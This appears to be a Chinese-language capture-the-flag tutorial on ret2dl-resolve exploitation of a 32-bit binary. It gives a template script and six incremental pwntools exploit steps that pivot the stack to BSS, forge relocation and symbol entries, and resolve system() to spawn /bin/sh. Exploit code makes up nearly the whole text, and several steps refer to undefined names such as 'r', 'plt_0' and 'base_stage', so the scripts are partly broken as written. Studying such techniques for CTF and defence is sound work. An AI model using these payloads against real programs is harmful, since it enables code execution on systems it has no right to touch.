预备知识
通用解题目脚本:
##考虑到栈空间不足,一般会进行栈迁移到BSS,原理是pop操作用的的是esp寄存器
p = process('./your pro')
elf = ELF('./your pro')
bss_base = elf.bss() #BSS基本地址,用来搬迁栈
plt_0 = 0x**** ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数
rel_plt = 0x**** ##objdump -s -j .rel.plt *** 查询rel.plt表基址
dynsym = 0x**** ##查询 dynsym基地址,保存sym结构体
dynstr = 0x**** ##查询 dynstr 基地址,保存函数名表项
index_offset=New_stack+xx-rel_plt #从Fake栈顶偏移XX开始伪造是因为中间还有数据
write_got = elf.got['write'] #这里将会在后面替换write的GOT表
fake_sym_addr = New_stack + XXX
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 ## 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info) #构建Fake rel.plt表项
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #构建Fake sym结构体
payload = 'A'*偏移
payload+= #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP 因为pop是根据RSP定位的
payload += p32(pop_ebp_ret) #搬迁ebp
payload += p32(New_stack) #将ebp搬迁到Fake栈顶
payload += p32(leave_ret) #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。
p.send(payload)
payload2 = 'AAAA' #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶
payload2 += p32(plt_0) #将EIP指向plt[0]
payload2 += p32(index_offset) #等下会从plt[0]+index_offset跳转到我们的Fake_reloc
payload2 += 'AAAA' #函数返回地址
payload2 += p32(1) #fd
payload2 += p32(New_stack + xx) #buf 读取数据的位置
payload2 += p32(len(cmd))
payload2 += fake_reloc # (New_stack +xx)的位置
payload2 += 'B' * align
payload2 += fake_sym # (New_stack +xxx)的位置
payload2 += "system\x00" #Fake st_name
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()
step1-step6 从潜到深学习
from pwn import *
pop_esi_edi_ebp_ret=0x08048619
pop_ebp_ret=0x0804861b
leave_ret=0x08048458 #--only "leave|ret"
offset=112
stack_size=0x800
#move stack to bss and control write()
def step1():
p.recvuntil('2015~!\n')
payload = 'A' * offset #填充
payload += p32(read_plt) #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP 因为pop是根据RSP定位的。
payload += p32(pop_esi_edi_ebp_ret) #函数返回地址,这里选择弹出read的三个参数
payload += p32(0) #fd
payload += p32(bss_addr+stack_size) #buf
payload += p32(100) #len
payload += p32(pop_ebp_ret) #搬迁ebp
payload += p32(bss_addr+stack_size) #将ebp搬迁到Fake栈顶
payload += p32(leave_ret) #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。
p.send(payload)
cmd = "/bin/sh"
payload2 = 'AAAA' #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶
payload2 += p32(write_plt)
payload2 += 'AAAA' #函数返回地址
payload2 += p32(1) #fd
payload2 += p32(bss_addr+stack_size + 80) #buf 读取数据的位置
payload2 += p32(len(cmd)) #len
payload2 += 'A' * (80 - len(payload2)) #填充
payload2 += cmd + '\x00' #buf 填充的数据
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()
#控制eip返回PLT[0],带上write的index_offset
#因为调用dl_runtime_resolve时,一会修改GOT地址,二是会调用函数运行
def step2():
plt0=0x8048380 #objdump -d main
index_offset=0x20 #查表
#index_offset=Fake-plt[0]
p.recvuntil('2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp_ret)
payload += p32(0)
payload += p32(bss_addr+stack_size)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(bss_addr+stack_size)
payload += p32(leave_ret)
p.send(payload)
cmd = "/bin/sh"
payload2 = 'AAAA'
payload2 += p32(plt_0) #将EIP指向plt[0] ---|这两步骤等同于call write()
payload2 += p32(index_offset) #传入index参数 ---|
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(bss_addr+stack_size + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
#控制index_offset,使其指向我们构造的fake_reloc
def step3():
#构造Fake reloc结构体,也就是rela.plt
cmd="/bin/sh"
plt0=0x8048380 #objdump -d -j .plt main
rel_plt=0x08048330 #objdump -s -j .rel.plt main
index_offset=bss_addr+stack_size+28-rel_plt #从Fake栈顶偏移28开始伪造是因为中间还有数据
write_got = elf.got['write'] #正常写入对应的GOT表
r_info = 0x607 # write: Elf32_Rel->r_info = 表项<<8+0x07过检测
fake_reloc = p32(write_got) + p32(r_info) #创建Fake结构体
p.recvuntil('2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp_ret)
payload += p32(0)
payload += p32(bss_addr+stack_size)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(bss_addr+stack_size)
payload += p32(leave_ret)
p.send(payload)
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset) #等下会从plt[0]+index_offset跳转到我们的Fake_reloc
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(bss_addr+stack_size + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (bss_addr+stack_size+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
#构造fake_sym,使其指向我们控制的st_name
def step4():
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (bss_addr+stack_size + 28) - rel_plt
write_got = elf.got['write']
#开始构造
dynsym = 0x080481d8 #sym位置
dynstr = 0x08048278 #st_name位置
fake_sym_addr = bss_addr+stack_size + 36 #偏移36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
p.recvuntil('2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp_ret)
payload += p32(0)
payload += p32(bss_addr+stack_size)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(bss_addr+stack_size)
payload += p32(leave_ret)
p.send(payload)
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(bss_addr+stack_size + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (bss_addr+stack_size+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (bss_addr+stack_size+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()
#伪造st_name位置指向我们的字符串
def step5():
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (bss_addr+stack_size + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = bss_addr+stack_size + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
p.recvuntil('2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp_ret)
payload += p32(0)
payload += p32(bss_addr+stack_size)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(bss_addr+stack_size)
payload += p32(leave_ret)
p.send(payload)
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(bss_addr+stack_size + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (bss_addr+stack_size+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (bss_addr+stack_size+36)的位置
payload2 += "write\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()
#替换write为system,并修改system的参数
def step6():
cmd = "/bin/sh"
plt_0 = 0x08048380 ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数
rel_plt = 0x08048330 ##objdump -s -j .rel.plt *** 查询rel.plt表基址
index_offset = (bss_addr+stack_size + 28) - rel_plt #从Fake栈顶偏移28开始伪造是因为0-28中间还有数据
write_got = elf.got['write'] ##这里将会在后面替换write的GOT表
dynsym = 0x080481d8 ##查询 dynsym基地址,保存sym结构体
dynstr = 0x08048278 ##查询 dynstr 基地址,保存函数名表项
fake_sym_addr = bss_addr+stack_size + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info) #构建Fake rel.plt表项
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #构建Fake sym结构体
p.recvuntil('2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp_ret)
payload += p32(0)
payload += p32(bss_addr+stack_size)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(bss_addr+stack_size)
payload += p32(leave_ret)
p.send(payload)
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00" #Fake st_name
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()
if __name__ =="__main__":
p=process('./main')
elf=ELF('./main')
write_plt=elf.plt['write']
read_plt = elf.plt['read']
bss_addr=elf.bss()
#step1()
#step2()
#step3()
#step4()
#step5()
step6()